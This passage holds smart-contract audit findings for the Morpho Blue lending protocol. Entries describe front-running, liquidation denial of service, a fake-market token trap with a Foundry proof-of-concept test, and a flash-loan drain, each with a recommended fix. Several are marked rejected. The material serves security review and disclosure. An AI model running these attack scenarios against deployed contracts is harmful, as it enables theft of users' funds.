+the impact of bug is high and borrowers can lose all their funds. This risk should be documented and doc should emphasize that IRM shouldn't have external call. (only can have external `staticcall`)
+
+
+
+
+### Morpho blue shouldn't be used with tokens that can have reward like some LP or staked tokens
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L150-L150](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L150-L150)
+
+some project, staked, LP tokens have rewards. Morpho is a permisionless contract that allow users create lending market for arbitrary tokens.
+If a market created based on tokens that have reward then locked tokens in that market is going to receive reward which mean Morpho contract will receive reward.
+There is no functionality in the Morpho to sweep those rewards.
+
+I believe this risk should be documented and users should know that if token have some kind of reward that is accrue for holder, then those tokens shouldn't be used with Morpho blue, otherwise users will lose those rewards.
+
+
+
+### Some functions that rely on the IOracle#`price()` via the Morpho#`_isHealthy()` can be malfunction
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L504-L504](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L504-L504)
+
+- Description:
+Within the Morpho#`_isHealthy()`, the `collateralPrice` would be retrieved via the IOracle#`price()`.
+And then, it would be used to check whether or not the position of `borrower` in the given market `marketParams` is healthy. Finally, the result of the healthy state of the position of `borrower` would be returned like this: \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L504 \
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L506
+```solidity
+ /// @dev Returns whether the position of `borrower` in the given market `marketParams` is healthy.
+ /// @dev Assumes that the inputs `marketParams` and `id` match.
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+ if (position[id][borrower].borrowShares == 0) return true;
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price(); ///<------------- @audit
+
+ return _isHealthy(marketParams, id, borrower, collateralPrice); ///<------------- @audit
+ }
+```
+
+The Morpho#`_isHealthy()` above would be called in the following three functions to judge whether or not the position of `borrower` in the given market (`marketParams`) is healthy:
+- Morpho#`withdrawCollateral()` \
+ https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L334
+
+- Morpho#`borrow()` \
+ https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L255
+
+- Morpho#`liquidate` \
+ https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L359
+
+Since the Morpho#`_isHealthy()` above would rely on the IOracle#`price()` to fetch the `collateralPrice`, the following three functions would also rely on the IOracle#`price()`.
+
+However, the IOracle#`price()` rely on an **external Oracle** (i.e. Chainlink). \
+So, once an external Oracle (i.e. Chainlink) would fail to post a price feed within the expected heartbeat for whatever reasons, fetching a `collateralPrice` via the IOracle#`price()` (i.e. ChainlinkOracle#`price()`) would also fail. As a result, the following three functions above can be malfunction. \
+Because the healthy state of `borrower`'s position can **not** evaluate - due to that the `collateralPrice` can not be fetched.
+
+
+- Recommendation:
+To prevent these three functions from becoming malfunction, consider **caching** the **last** price-fetched within the Morpho#`_isHealthy()`. \
+And then, consider using (apply to) the **cached-price** if the IOracle#`price()` fail to post a price feed.
+
+
+
+
+
+
+
+### Repay function can be front-run so borrowers transaction reverts
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L283-L283](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L283-L283)
+
+**Description**:
+
+The Morpho repay function is used to repay a loan. The repay function also allow anyone to replay someone else loan because of the custom `onBehalf` parameter.
+
+An attacker can monitor mempool for a repay transaction, and call this function with a very small amount then front-run the borrower's transaction to fully repay the loan.
+
+Thereby the borrower's transaction reverts because `position[id][onBehalf].borrowShares -= shares.toUint128();` underflows
+
+```js
+File: Morpho.sol
+266: function repay(
+267: MarketParams memory marketParams,
+268: uint256 assets,
+269: uint256 shares,
+270: address onBehalf,
+271: bytes calldata data
+272: ) external returns (uint256, uint256) {
+...
+280: if (assets > 0) shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+281: else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+282:
+283: position[id][onBehalf].borrowShares -= shares.toUint128();
+284: market[id].totalBorrowShares -= shares.toUint128();
+285: market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, assets).toUint128();
+...
+295: }
+```
+
+**Recommendation**:
+
+Only allow the borrower to repay his loan or if `shares` > `borrowShares`, just make `borrowShares` to 0 and recalculate the `totalBorrowShares`, `totalBorrowAssets` accordingly
+
+
+
+### Attackers can create fraudulent balances for yet-to-be-created ERC20 tokens, allows them to steal funds from future suppliers
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Impact
+
+Attacker can deploy fake balances for the yet-to-be-created ERC20 tokens in the Morpho market and steal funds from future suppliers.
+
+- Code snippets
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/libraries/SafeTransferLib.sol#L19
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L191
+
+- Proof of Concept
+
+The root cause of the vulnerability is that the [SafeTransferLib.sol](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/libraries/SafeTransferLib.sol#L19) ERC-20 transfer and transferFrom functions does NOT check for not-yet-existing token, therefore always returning True if it's the case, assuming "It is the responsibility of the market creator to make sure that the address of the token has non-zero code.". However, the market creator's careful check for their token cannot protect them from a frontrun trap.
+
+```solidity
+// File: src/libraries/SafeTransferLib.sol
+18:/// @dev It is the responsibility of the market creator to make sure that the address of the token has non-zero code.
+```
+
+In a scenario where a token is about to be deployed on a different chain, an attacker can frontrun the token & market creation with the slightly different market parameters, creating a fake market. The attacker artificially inflates the fake supplyShares without transferring in any tokens. When the legitimate market is later created and supplied with assets, the attacker withdraws tokens, victimizing the project.
+
+Apply this [POC](https://gist.github.com/hungdoo/f08873cb782a9e8e4cfd6590b975faad) and run the test with:
+```sh
+git apply testSupplyAssets_stealTrap.patch
+forge test -vvv --mt testSupplyAssets_stealTrap
+```
+
+Let's walk through the POC:
+
+1. ProjectA has TokenA and has integrated with the Morpho market on chainA network.
+2. Bob, an attacker, senses ProjectA about to deploy the same TokenA on chainB in preparation for a new market creation with TokenA as the loanToken.
+3. Bob front-runs with a `createMarket()` with slightly different `marketParams` (e.g., a different oracle address) to avoid an ID collision, but keeps the same token as the loan token and calls `supply()` to his fake market with 10000e18 loan assets.
+4. Due to the `safeTransferForm` passing because the not-yet-existing token with zero bytecode, Bob artificially pumps his fake `supplyShares`.
+5. ProjectA later creates the market and supplies 1000e18 of the tokenA to their market.
+6. Even though ProjectA carefully checked the token address, Bob can still call `withdraw()` 1000e18 of the tokenA to his wallet.
+7. As a result, ProjectA gets victimized and 1000e18 of the token is stolen by the attacker.
+
+
+
+- Tools Used
+
+Foundry
+
+- Recommended Mitigation Steps
+
+Enforce token existence check via `target.code.length != 0` in SafeTransferLib's transfer functions.
+
+
+
+### Compromised Authorized can frontrun the authorizer to empty token supply _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Brief**
+
+A compromised authorized address can empty the user's token deposits by calling `Morpho::withdraw()` before deauthorization through frontrunning.
+
+**Impact**
+
+The ERC20 Approval Frontrunning Attack inspires this vulnerability. They have the same underlying. morpho allows token suppliers to authorize another address to act on their behalf. In a world where transactions can be reordered or tx inclusion is based on incentive (gas), allowing an authorized to spend all not some of the token deposits of a user is poor protocol design and can be extremely detrimental to the authorizer.
+
+The likelihood of this occurring is low because the authorizer is expected to have vetted the authorized before authorization. Still, the impact is so high, up to 100% of the authorizer's entire deposit + interest accrued on the deposit, which makes this a concern.
+
+**Proof of Concept**
+
+Say ALICE, a loan token supplier on morpho authorizes BOB to act on her behalf. Bob becomes compromised and ALICE sends a tx to deauthorize BOB. BOB notices this tx, frontruns it, and sends a withdrawal tx, effectively carting away with both the initial deposit and interest accrued.
+
+```solidity
+ function test__authorizerFrontrun() public {
+ address authorized = makeAddr("authorized");
+ assertEq(loanToken.balanceOf(authorized), 0);
+
+ changePrank(SUPPLIER_1);
+ morpho.setAuthorization(authorized, true);
+
+ //Just before the authorized address was deAuthorized, he frontruns SUPPLIER_1, withdrawing all his tokens
+ Position memory position = morpho.position(marketParams.id(), SUPPLIER_1);
+ changePrank(authorized);
+ (uint receivedAssets, ) = morpho.withdraw(marketParams, 0, position.supplyShares, SUPPLIER_1, authorized);
+
+ //SUPPLIER_1 tx to deAuthorize
+ changePrank(SUPPLIER_1);
+ morpho.setAuthorization(authorized, false);
+
+ //Checks
+ position = morpho.position(marketParams.id(), SUPPLIER_1);
+ assertEq(loanToken.balanceOf(authorized), receivedAssets);
+ assertEq(position.supplyShares, 0);
+ assertEq(loanToken.balanceOf(SUPPLIER_1), 0);
+ }
+```
+
+**Recommendation**
+
+Limit the loss of the authorizer to an authorized spend amount by adding a spending limit.
+
+
+
+### A borrower would repay a dust to make the liquidation reverts _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Summary
+In `liquidate()`, it reverts due to underflow if a liquidator is trying to repay more than the borrow balance. So when a liquidator repays the whole borrow balance, a borrower could make it reverts by repaying a dust.
+
+- Vulnerability Detail
+In `liquidate()`, it doesn't allow a partial liquidation when the current repaying amount is greater than the borrow balance.
+
+```solidity
+function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128(); //@audit possible DOS with a dust
+ ...
+ }
+```
+
+Here is a scenario which is possible to happen.
+
+- A borrower has 100 borrow shares and his position is unhealthy at the moment.
+- After noticing that, a liquidator calls `liquidate()` with 100 `repaidShares`.
+- But the borrower repays 1 wei borrow shares and the liquidation [will revert due to underflow](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L380).
+
+- Impact
+Possible DOS of the liquidation with a dust.
+
+- Code Snippet
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L380
+
+- Tool used
+Manual Review
+
+- Recommendation
+`liquidate()` should allow a partial liquidation rather than reverting with more repaying amount.
+Maybe it's would be good to add a boolean param `allowPartialLiq` for that.
+
+
+
+### `setAuthorization()` should delete a pending signature. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Summary
+There are two functions, `setAuthorization` and `setAuthorizationWithSig` to set an authorization. After `setAuthorization()` is called, the authorization state might be revoked by a pending signature.
+
+- Vulnerability Detail
+In `setAuthorization()`, the caller can change his authorization states.
+
+```solidity
+ function setAuthorization(address authorized, bool newIsAuthorized) external {
+ isAuthorized[msg.sender][authorized] = newIsAuthorized;
+
+ emit EventsLib.SetAuthorization(msg.sender, msg.sender, authorized, newIsAuthorized);
+ }
+```
+
+As it doesn't invalidate the pending signature, this case would be possible.
+
+- Alice has some funds on markets and she is going to authorize Bob to manage her funds.
+- So Alice has created a signature to authorize Bob(with a long deadline).
+- But for some reasons, she has called `setAuthorization(Bob, true)` directly without using the signature.
+- After the cooperation being ended, Alice has unauthorized Bob by calling `setAuthorization(Bob, false)`.
+- But Bob can execute the pending signature using `setAuthorizationWithSig()` before the deadline and steal funds from Alice.
+
+- Impact
+After `setAuthorization()` being called, the authorization state might be revoked by previous pending signature.
+
+- Code Snippet
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L428
+
+- Tool used
+Manual Review
+
+- Recommendation
+`setAuthorization()` should invalidate the pending signature for safety.
+It's enough to increase the caller's nonce.
+
+```solidity
+ function setAuthorization(address authorized, bool newIsAuthorized) external {
+ isAuthorized[msg.sender][authorized] = newIsAuthorized;
+
+ nonce[msg.sender]++;
+
+ emit EventsLib.SetAuthorization(msg.sender, msg.sender, authorized, newIsAuthorized);
+ }
+```
+
+
+
+### Users can avoid bad debt _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L394-L394](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L394-L394)
+
+- Summary
+Users can avoid bad debt by temporarily leaving the market and returning later. This approach not only extends their market share (percentage of the total market) but also penalizes other lenders who end up sharing the loss that the departing lender would have covered.
+
+- Proof of Concept
+Morpho's mechanism for dealing with bad debt involves distributing it among all lenders.
+
+```solidity
+if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+}
+```
+
+However, this, combined with the small size of some markets (with a small number of lenders and borrowers), can lead to issues. For instance, a big lender may avoid bad debt accrual by exiting the market before a large liquidation occurs.
+
+One extremely likely scenario is that the oracle is TWAP, and the price of the collateral plummets or the price of the lending token skyrockets. In this case, the reaction of the oracle will be too slow to liquidate normally, leaving huge amounts of bad debt. Simultaneously, it allows lenders to leave the market as they will have a few blocks between where the price moves and the oracle returns it. The same could be done with ChainLink, as some oracles have long update times and high thresholds, 2% and up.
+
+Leaving the market saves the lender from bad debt accrual, shifting the burden onto other lenders (as losses are divided among all staked lenders). This not only increases the lender's market share percentage but also penalizes the remaining lenders. This effect is more pronounced among larger lenders, given their greater incentive to avoid bad debt.
+
+**Example:**
+
+| *Prerequisites* | *Values* |
+|------------------|---------------|
+| Market | 100,000 USDC |
+| Lenders | 10 |
+| Each lender stake| 10,000 USDC |
+
+In the current scenario, if a large borrower is liquidated, leaving 10,000 USDC as bad debt, each lender takes a 10% loss of their capital. However, if one lender leaves before the liquidation:
+
+**Before the Liquidation:**
+| *Prerequisites* | *Values* |
+|------------------|---------------|
+| Market | 90,000 USDC |
+| Lenders | 9 |
+| Each lender stake| 10,000 USDC |
+
+**After the Liquidation:**
+| *Prerequisites* | *Values* |
+|------------------|---------------|
+| Market | 80,000 USDC |
+| Lenders | 9 |
+| Each lender stake| 8,888 USDC |
+
+If the original lender returns, they retain 100% of their lent tokens and now own 11.11% of the market shares, while other lenders own only 9.88%. This increases the returning lender's yield-earning capabilities.
+
+- Suggested Solution
+Implement a two-step withdrawal system to prevent such behaviors.
+
+
+
+### A signer can't cancel his signature before a deadline _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Summary
+`setAuthorizationWithSig()` works with the signer's nonce but there are no ways to increase the nonce before the deadline.
+
+- Vulnerability Detail
+Users can change authoirization states using `setAuthorizationWithSig()`.
+
+```solidity
+ function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+ require(block.timestamp <= authorization.deadline, ErrorsLib.SIGNATURE_EXPIRED);
+ require(authorization.nonce == nonce[authorization.authorizer]++, ErrorsLib.INVALID_NONCE);
+ ...
+ }
+```
+
+But the signer's nonce can be increased in `setAuthorizationWithSig()` only and the below scenario would be possible.
+
+- Alice has created a signature to authorize Bob but realized that she was tricked by him.
+- So Alice wants to cancel her signature without executing it but she can't before the deadline.
+- Also, Alice wants to create another signature to authorize another one but it's impossible as two signatures will have the same nonce and any of them can be executed.
+
+- Impact
+A signer wouldn't cancel his signature freely.
+
+- Code Snippet
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L437
+
+- Tool used
+Manual Review
+
+- Recommendation
+It would be good to add a new function like `IncreaseNonce()` to invalidate the current nonce.
+
+```solidity
+ function IncreaseNonce() external {
+ nonce[msg.sender]++;
+
+ //events
+ }
+```
+
+
+
+### Missing authorization check when supplying assets/shares shows unfair practice on the protocol's side _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Users call `supply()` to deposit assets or shares into a specific market. The function occurs correctly & the mentioned loan token is transferred from the user into the market.
+Users can deposit, borrow & withdraw on behalf of other users only if they are authorized by the onBehalf user.
+
+However when calling `supply()`, there is no check inside the function to ensure the user is authorized to deposit assets into the market on behalf of someone else.
+
+- Proof of Concept
+
+`_isSenderAuthorized()` returns whether the sender is authorized to manage `onBehalf`'s positions.
+
+```solidity
+File: Morpho.sol
+
+ function _isSenderAuthorized(address onBehalf) internal view returns (bool) {
+ return msg.sender == onBehalf || isAuthorized[onBehalf][msg.sender];
+ }
+```
+Inside `supply()`, necessary checks are in place to ensure the function follows the protocol's guidelines.
+
+```solidity
+File: Morpho.sol
+
+ function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ ......
+ }
+```
+However, the function misses the `_isSenderAuthorized()` check. Instead it only checks that the onBehalf address isn't 0.
+
+Alice supplies assets on behalf of Bob because no authorization is needed here. When carrying out a borrow or withdrawal, its upto Bob whether he allows/authorizes Alice to execute the function. Its between the two of them whether they trust each other or Bob acts maliciously.
+
+- Impact
+
+The absence of the authorization check shows that the protocol is more money focused rather than being fair to the users. Had there been this check, it would have been completely upto the users whether they trust each other or not.
+
+As of the current situation the protocol appears to be only considered into bringing money in just like most platforms out there.
+
+
+- Tools Used
+Manual Review
+
+- Recommended Mitigation Steps
+Replace the existing on behalf check with the authorization check.
+
+```solidity
+File: Morpho.sol
+
+ function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+- require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
++ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ ......
+ }
+```
+
+
+
+
+### Markets may be created with wrong LLTVs
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L153-L153](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L153-L153)
+
+- Summary
+As LLTVs are enabled globally, there is no restriction on creating markets for volatile assets with high LLTVs. This creates an incentive for borrowers to borrow more, although it increases the risk of bad debt accrual.
+
+- Proof of Concept
+LLTVs need to be available for a range of values, considering that some markets are stable (USDC, WETH), while others are very unstable (UNI, MKR). This implies LLTVs ranging from 40% or less up to 90%. The absence of a mechanism to prevent users from creating markets with highly volatile tokens and 90% LLTVs means that such markets will exist, becoming breeding grounds for bad debt.
+
+**Example:**
+| *Prerequisites* | *Values* |
+|-----------------|----------|
+| Borrowing asset | UNI |
+| Collateral | MKR |
+| LLTV | 90% |
+
+In this scenario, if the price of UNI rises while the price of MKR falls, the likelihood of bad debt occurring is extremely high. Markets like these can accumulate substantial bad debt, leaving borrowers with little to no profit, or even losses, despite staking for a year or more.
+
+- Suggested Resolution
+Currently, I cannot provide the optimal solution without a clear understanding of the developers' vision for the project. However, I suggest implementing a whitelist and fixed LLTV for assets, similar to AAVE, to mitigate the risks associated with highly volatile markets.
+
+
+
+### Morpho overstates its balance of fee-on-transfer tokens _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L191-L191](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L191-L191)
+
+**Description**:
+
+Some tokens such as PAX Gold are fee-on-transfer, meaning that, when transfer() is called, the amount transferred is less than the amount requested.
+
+For such tokens, totalSupplyAssets will be greater than the actual amount held by the contract.
+
+This means that borrowers can borrow too much. Further, if every supplier withdraws, whoever withdraws last will not get their fair share.
+
+Relevant code:
+
+From supply():
+
+```
+ market[id].totalSupplyAssets += assets.toUint128();
+ // ...
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+```
+
+**Recommendation**:
+
+Use the difference in token.balanceOf to update totalSupplyAssets, not the amount passed to transfer.
+
+
+
+### If someone creates a market lending Compound USDC, then anyone can drain the entire contract using flashLoan _(duplicate of [Flashloans could be exploited by safeTransferFrom with non standard tokens.])_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L416-L416](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L416-L416)
+
+**Description**:
+
+Compound USDC (cUSDCv3) has a special case where, if you pass in amount == type(uint256).max in their transfer functions, then only the user's balance being transferred.
+
+The flashLoan code is written such that, if someone takes a flash loan for cUSDCv3 for type(uint256).max, then transfers that token to another wallet in the callback, then they will have stolen all cUSDCv3 from the contract.
+
+Let's trace through the flashLoan code
+
+```solidity
+ function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ IERC20(token).safeTransfer(msg.sender, assets); // If assets == type(uint256).max, then this sends the contract's whole cUSDCv3 balance to the attacker
+
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data); // attacker transfers their cUSDCv3 to another wallet
+
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets); // This succeeds but sends 0 token back to the contract
+ }
+```
+
+For discussion the validity of this behavior of cUSDCv3 and its significance, see https://github.com/sherlock-audit/2023-09-Gitcoin-judging/issues/379 .
+
+
+**Recommendation**:
+
+Check the change in balance; don't just call transfer
+
+
+
+### Missing Values in `DOMAIN_TYPEHASH` definition breaks the EIP712 compatibility _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+In the build of the `DOMAIN_TYPEHASH`, couple of parameters: `string name` and `string version` are missing.
+
+```solidity
+File: ConstantsLib.sol
+
+17: bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");
+
+```
+
+```solidity
+File: Morpho.sol
+
+78: DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, block.chainid, address(this)));
+
+```
+
+Consequently, certain contracts or dapps/backends may construct the `DOMAIN_TYPEHASH` with the correct struct, including the necessary `name` and `version`, only to face issues when attempting to utilize the `setAuthorizationWithSig` function. This function will encounter a revert because the expected `DOMAIN_TYPEHASH` in the Morpho contract was constructed with the struct with missing values.
+
+**Recommendation**:
+
+Acording the [EIP 712](https://eips.ethereum.org/EIPS/eip-712), in the [Definition of `DOMAIN_SEPARATOR`](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-712.md#definition-of-domainseparator):
+
+* `string name` the user readable name of signing domain, i.e. the name of the DApp or the protocol.
+
+* `string version` the current major version of the signing domain. Signatures from different versions are not compatible.
+
+* `uint256 chainId` the EIP-155 chain id. The user-agent should refuse signing if it does not match the currently active chain.
+
+* `address verifyingContract` the address of the contract that will verify the signature. The user-agent may do contract specific phishing prevention.
+
+* `bytes32 salt` an disambiguating salt for the protocol. This can be used as a domain separator of last resort.
+
+So, Add `name` and `version` parameter in `DOMAIN_TYPEHASH` to make it EIP712 Complaint.
+
+```diff
+File: ConstantsLib.sol
+
+-17: bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");
++17: bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
+
+```
+
+```diff
+File: Morpho.sol
+
+-78: DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, block.chainid, address(this)));
++78: DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, "Morpho", "1", block.chainid, address(this)));
+
+```
+
+
+
+
+### A Situation is Possible where User can be Liquidated Unfairly
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Morpho functions as an open market for a diverse range of tokens, including popular ones with high market capitalization, such as USDT (Tether).
+
+USDT: https://etherscan.io/address/0xdac17f958d2ee523a2206206994597c13d831ec7#code
+
+However, a potential issue arises when dealing with tokens subject to pausing, as illustrated in the following scenario:
+
+1. `Loan Scenario:` Alice intends to borrow `USDT` by leveraging `WETH` as collateral.
+
+2. `Market Selection:` Alice deposits collateral into the chosen `WETH/USDT` market.
+
+3. `Borrowing Activity:` Alice successfully borrows `USDT` and maintains a healthy position.
+
+4. `Token Paused:` Unfortunately, when Alice attempts to repay her loan, the `USDT` token has been paused by Tether, hindering her ability to transfer the loaned `USDT` back.
+
+5. `Post-Pause Challenges:` After the `USDT` token is resumed, there is a risk that Alice's position may have become unhealthy due to market fluctuations during the pause.
+
+6. `Unfair Liquidation Risk:` In this vulnerable state, another user can front-run Alice, potentially causing her to lose her collateral during the liquidation process.
+
+**Recommendation**:
+
+To address this issue:
+
+1. `Acknowledge this Situation in Docs:` Clearly document in the platform's documentation that such situations may arise, especially when dealing with pausable tokens. Users should be informed of the risks associated with the potential pausing of tokens used as collateral or loan assets.
+
+2. `Pause Functionality in Liquidation:` Implement a pause functionality in the liquidation process. When a token is paused, the liquidation mechanism should be temporarily disabled for a predefined period (e.g., 5 or 10 minutes) after the token is unpaused. This grace period allows users to repay their debt and reclaim their collateral without the immediate threat of liquidation.
+
+
+
+### Morpho does not support Fees on transfer Tokens _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Morpho allows any arbitrary User to Create Markets with any token as Collateral token and Loan token.
+
+```solidity
+File: Morpho.sol
+
+ function createMarket(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
+ require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+ require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+ require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ idToMarketParams[id] = marketParams;
+
+ emit EventsLib.CreateMarket(id, marketParams);
+ }
+
+```
+
+But the following scenario is possible:
+
+1. Alice creates a Market with a token which charges Fees on every transfer.
+
+2. This will break the Accounting logic of the Morpho contract where the actual amount getting transferred from the User will be less than what Morpho is assume in accounting.
+
+`Impact:` Depending on the percentage of Transfer Fees, the Last few Lenders who will want to withdraw their tokens will be left DoSed.
+
+**Recommendation**:
+
+To address this issue:
+
+1. `Acknowledge this Situation in Docs:` Make sure that Users are aware that Morpho Contract does not support Fees on Transfer Tokens.
+
+2. `Track the Amount Transferred:` Calculate the balance of tokens before and after a transfer & update the accounting only based on the amount that is actually transfered.
+
+
+
+### Funds can get Stuck in the Morpho contract if the token used has Rebasing mechanism _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Morpho allows any arbitrary User to Create Markets with any token as Collateral token and Loan token.
+
+```solidity
+File: Morpho.sol
+
+ function createMarket(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
+ require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+ require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+ require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ idToMarketParams[id] = marketParams;
+
+ emit EventsLib.CreateMarket(id, marketParams);
+ }
+
+```
+
+But the following scenario is possible:
+
